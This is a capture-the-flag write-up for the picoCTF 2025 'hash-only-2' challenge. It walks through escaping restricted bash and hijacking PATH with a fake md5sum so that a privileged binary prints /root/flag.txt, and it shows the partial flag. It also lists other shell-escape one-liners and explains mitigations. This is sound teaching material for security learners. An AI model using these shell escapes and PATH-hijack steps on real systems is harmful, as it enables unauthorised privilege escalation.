hash-only-2 picoCTF 2025 Solution

Description

1. Step 1Escape rbash restrictions

   Observation

   cd fails right after login, which is the signature of restricted bash. Spawn an unrestricted child shell before trying to change PATH or write files.

   The login shell is restricted (rbash blocks cd, PATH= edits, and slashes in commands). Type plain bash - not exec bash - so the unrestricted shell runs as a child of your SSH session; if anything in it crashes, the SSH session keeps you connected. Then cd /tmp to land in a writable directory.

   bash

   # In rbash, this fails:
   cd /tmp
   
   # Escape (type bash, NOT exec bash):
   bash
   cd /tmp

   Copied!

   What didn't work first

   Tried: Run exec bash instead of plain bash to escape rbash.

   exec bash replaces the current shell instead of spawning a child, so if the new session exits or crashes the SSH connection goes with it. Plain bash keeps rbash alive as the parent and survives an accidental exit. The result is the same otherwise, but the connection risk is real under time pressure.

   Tried: Try python3 -c 'import pty; pty.spawn("/bin/bash")' or vim :shell to escape rbash before checking whether plain bash is allowed.

   Those escapes matter when bash itself is blocked by the allowed-command list. Here it is not, so running it directly is simplest. The Python or vim route adds steps and may be blocked itself.

   Learn more

   Restricted bash (rbash) is a hardened shell mode that prevents users from changing directories with cd, modifying PATH, redirecting output, or running commands with slashes in them. System administrators use it to lock down SSH accounts to a narrow set of approved commands.

   The classic escape is to invoke a full shell binary directly. If bash or sh is accessible, running it without the -r flag drops you into an unrestricted session. Other escapes include launching a text editor (vim's :shell command), using scripting interpreters (python3 -c 'import pty; pty.spawn("/bin/bash")'), or abusing allowed programs that themselves spawn shells (like man with !/bin/sh).

   In real-world penetration testing, restricted shells come up frequently after gaining initial SSH access to a locked-down account. Escaping rbash is one of the first post-exploitation steps and is covered extensively in OSCP and other security certifications.

2. Step 2Hijack md5sum again

   Observation

   strings on flaghasher shows the same bare md5sum call as in hash-only-1. Drop a fake md5sum earlier in PATH and point it at cat.

   Same PATH-hijack technique as hash-only-1 - only the binary's path and the restricted login shell differ here. Write a one-line md5sum that cats /root/flag.txt, prove it works standalone before invoking flaghasher, and never include any md5sum invocation inside the fake (the hijacked PATH would resolve back to itself and infinite-loop).

   bash

   echo '/bin/cat /root/flag.txt' > md5sum

   Copied!

   bash

   chmod +x md5sum

   Copied!

   bash

   export PATH=.:$PATH

   Copied!

   bash

   ./md5sum                       # validate: should print the flag standalone

   Copied!

   bash

   /usr/local/bin/flaghasher

   Copied!

   Expected output

   picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_fc06...}

   What didn't work first

   Tried: Write the fake md5sum as #!/bin/sh md5sum /root/flag.txt to try to hash the flag directly.

   Calling md5sum from inside the fake script loops forever: flaghasher calls your script, your script calls md5sum, and PATH resolves that right back to your script. It recurses until it hits the process limit and dies on a fork error. Use an absolute path to something you have not hijacked.

   Tried: Set PATH with PATH=/tmp:$PATH and write the fake to /tmp/md5sum while still in rbash, before running bash to escape.

   rbash makes PATH read-only, so the assignment fails outright. Export it after escaping to an unrestricted shell. And the current-directory approach works from any writable directory, /tmp included, once you are actually in one.

   Learn more

   PATH hijacking exploits how Unix-like systems resolve command names. When a program calls system("md5sum") or exec("md5sum") without an absolute path, the OS searches each directory in PATH left-to-right and runs the first match it finds.

   By prepending . (the current directory) to PATH and dropping a malicious script named md5sum there, you guarantee the OS runs your script instead of /usr/bin/md5sum. Your script can do anything the process's effective user can do - in this case, reading /root/flag.txt. This is the same attack that makes sudo unsafe when . appears in a root user's PATH.

   Real-world mitigations include using absolute paths in all system() and exec() calls, auditing PATH in privileged scripts with tools like shellcheck, and applying the principle of least privilege so the target binary never runs with elevated permissions. CVE databases are full of PATH hijacking vulnerabilities in commercial software.

Flag

Any equivalent fake `md5sum` works as long as it doesn't invoke another `md5sum` and `.` stays first in PATH.